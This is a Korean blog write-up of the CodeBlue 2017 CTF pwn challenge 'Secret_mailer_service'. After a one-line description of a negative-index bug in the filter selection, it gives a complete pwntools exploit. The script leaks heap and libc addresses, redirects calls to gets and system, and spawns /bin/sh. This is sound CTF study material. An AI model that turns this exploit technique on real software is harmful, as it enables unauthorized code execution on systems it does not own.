[CodeBlue_2017] Secret_mailer_service

2019. 12. 2. 13:58·PWN/CTF
728x90

취약점은 post의 filter를 선택할때 발생한다. 음수를 입력할 수 있으며 원하는 함수를 실행시킬 수 있다. : )

이부분을 이용해서 leak도 하고 /bin/sh까지 실행할 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
 
s = process("./mailer")
elf = ELF("./mailer")
libc = ELF("./libc.so.6")
 
def add(content):
    s.sendlineafter("> ","1")
    s.sendlineafter("contents: ",content)
 
def delete(index):
    s.sendlineafter("> ","2")
    s.sendlineafter(":",str(index))
 
def post(index,filter_index):
    s.sendlineafter("> ","3")
    s.sendlineafter(":",str(index))
    s.sendlineafter(">",str(filter_index))
 
 
 
add(p32(0x08048D01)+"A"*8)
post(0,0)
post(0,-7)
 
s.recv(1)
s.recv(4)
 
heap_leak = u32(s.recv(4))
print "heap_leak : " + hex(heap_leak)
heap_base = heap_leak - 0x168
print "heap_base : " + hex(heap_base)
delete(0)
 
add("A"*52)
post(0,-4)
post(0,-7)
 
s.recv(1)
s.recv(52)
leak = u32(s.recv(4))
print "leak : " + hex(leak)
libc_base = leak - 0x1b2cc0
print "libc_base : " + hex(libc_base)
system = libc_base + libc.symbols['system']
gets = libc_base + libc.symbols['gets']
print "system : " + hex(system)
print "gets : " + hex(gets)
 
post(0,(heap_leak - 0x0804B048 - 0x100000000)/4)
 
add(p32(gets)+p32(system))
post(0,0)
 
post(0,((heap_base + 0x12d0) - 0x0804B048 - 0x100000000)/4)
s.sendline("/bin/sh\x00")
 
post(0,((heap_base + 0x12d4) - 0x0804B048 - 0x100000000)/4)
 
 
s.interactive()
 
Colored by Color Scripter
cs
저작자표시 비영리 변경금지 (새창열림)

'PWN > CTF' 카테고리의 다른 글

[33C3_2016] Babyfengshui  (0) 2019.12.06
[0CTF_2018] Babystack  (0) 2019.12.03
[CodeBlue_2017] simple_memo_pad  (0) 2019.12.01
[RCTF_2018] Rnote4  (0) 2019.11.29
[SCTF_2018] cowboy  (0) 2019.11.27
'PWN/CTF' 카테고리의 다른 글
  • [33C3_2016] Babyfengshui
  • [0CTF_2018] Babystack
  • [CodeBlue_2017] simple_memo_pad
  • [RCTF_2018] Rnote4
J1W0N
J1W0N
jijijiji
  • J1W0N
    JIWON
    J1W0N
  • 전체
    오늘
    어제
    • 분류 전체보기 N
      • PROGRAMMING N
        • PYTHON
        • JS
        • 알고리즘
        • React N
      • WEB
        • LOS
        • rubiya
      • PWN
        • pwnable.tw
        • pwnable.kr
        • CTF
        • TIP
        • wargame
        • 읽자
        • HITCON_Training
      • Security_ETC
      • REVERSING
      • 할 것 정리
      • 잡담
        • 끄적끄적
        • 영어일기
      • 정보
      • 정리
  • 블로그 메뉴

    • 홈
    • 태그
    • 미디어로그
    • 위치로그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
J1W0N
[CodeBlue_2017] Secret_mailer_service
상단으로

티스토리툴바